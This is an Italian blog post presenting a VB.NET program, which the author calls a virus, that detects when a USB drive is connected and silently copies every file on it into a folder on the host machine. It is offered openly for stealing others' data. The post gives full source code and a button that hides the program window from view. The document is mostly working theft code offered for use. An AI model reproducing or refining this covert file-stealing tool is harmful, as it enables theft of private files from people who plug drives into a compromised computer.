chiavetta usb
Rubare file da Chiavetta USB/Steal data from USB[VB.NET]
Rubare file da Chiavetta USB
Oggi vi volevo presentare un programma da me sviluppato su Visual Basic che vi permetterà di rubare qualunque contenuto presente all'interno di una chiavetta usb o di un dispositivo rimovibile che verrà collegato al vostro pc o al computer nel quale avete eseguito questo virus.
REQUISITI
- Visual Basic 2010 express(grauito e scaricabile da qui : http://download.html.it/)
- Un minimo di competenza nell'ambito della programmazione
Il procedimento è semplice : tutto stà nell'individuare quando il dispositivo viene collegato al pc e identificare la lettera associata al drive; dopo aver fatto ciò ci basterà costruire uno script che copi tutti i file presenti nella chiavetta all'interno di una cartella sicura presente sul nostro computer , in modo tale da potervi riaccedere successivamente e recuperare i dati interessati.
- Create quindi un progetto vb.net e inserite all'interno della progettazione solamente un pulsante a cui daremo il nome di "HIDE".
- Successivamente premete due volte sulla schermata del programma e copiate questo codice:
Grazie a queste righe di codice qualunque dispositivo che verrà collegato al vostro pc salverà un backup di tutti i dati all'interno di una cartella a vostra scelta.1: Imports System.Runtime.InteropServices 2: Imports System.IO 3: Public Class Form1 4: Dim destinazione5 As String = "C:\Users\
"inserisci il nome del tuo account Windows, senza le virgolette"
\Desktop\test" 5: Dim check As Boolean = False 6: Private Const WM_DEVICECHANGE As Integer = &H219 7: Private Const DBT_DEVICEARRIVAL As Integer = &H8000 8: Private Const DBT_DEVTYP_VOLUME As Integer = &H2 9: 'Device information structure 10: Public Structure DEV_BROADCAST_HDR 11: Public dbch_size As Int32 12: Public dbch_devicetype As Int32 13: Public dbch_reserved As Int32 14: End Structure 15: 'Volume information Structure 16: Private Structure DEV_BROADCAST_VOLUME 17: Public dbcv_size As Int32 18: Public dbcv_devicetype As Int32 19: Public dbcv_reserved As Int32 20: Public dbcv_unitmask As Int32 21: Public dbcv_flags As Int16 22: End Structure 23: 'Function that gets the drive letter from the unit mask 24: Private Function GetDriveLetterFromMask(ByRef Unit As Int32) As Char 25: For i As Integer = 0 To 25 26: If Unit = (2 ^ i) Then 27: Return Chr(Asc("A") + i) 28: End If 29: Next 30: End Function 31: 'Override message processing to check for the DEVICECHANGE message 32: Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message) 33: If m.Msg = WM_DEVICECHANGE Then 34: If CInt(m.WParam) = DBT_DEVICEARRIVAL Then 35: Dim DeviceInfo As DEV_BROADCAST_HDR 36: DeviceInfo = DirectCast(Marshal.PtrToStructure(m.LParam, GetType(DEV_BROADCAST_HDR)), DEV_BROADCAST_HDR) 37: If DeviceInfo.dbch_devicetype = DBT_DEVTYP_VOLUME Then 38: Dim Volume As DEV_BROADCAST_VOLUME 39: Volume = DirectCast(Marshal.PtrToStructure(m.LParam, GetType(DEV_BROADCAST_VOLUME)), DEV_BROADCAST_VOLUME) 40: Dim DriveLetter As String = (GetDriveLetterFromMask(Volume.dbcv_unitmask) & ":\") 41: Dim Destination As String = My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Backup\" 'destinazione dei file in (My Documents\Backup\*.*)è possibile cambiarla modificando il nome a piacere 42: For Each File As String In My.Computer.FileSystem.GetFiles(DriveLetter, FileIO.SearchOption.SearchAllSubDirectories, "*.*") 43: My.Computer.FileSystem.CopyFile(File, String.Concat(Destination, Microsoft.VisualBasic.Right(File, Microsoft.VisualBasic.Len(File) - 3)), True) 44: Next 45: End If 46: End If 47: End If 48: MyBase.WndProc(m) 49: End Sub 50: Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click 51: Me.Hide() 52: End Sub 53: End Class
Il bottone 2 serve semplicemente per nascondere il programma e farlo "sparire".
Posta un commento
0 Commenti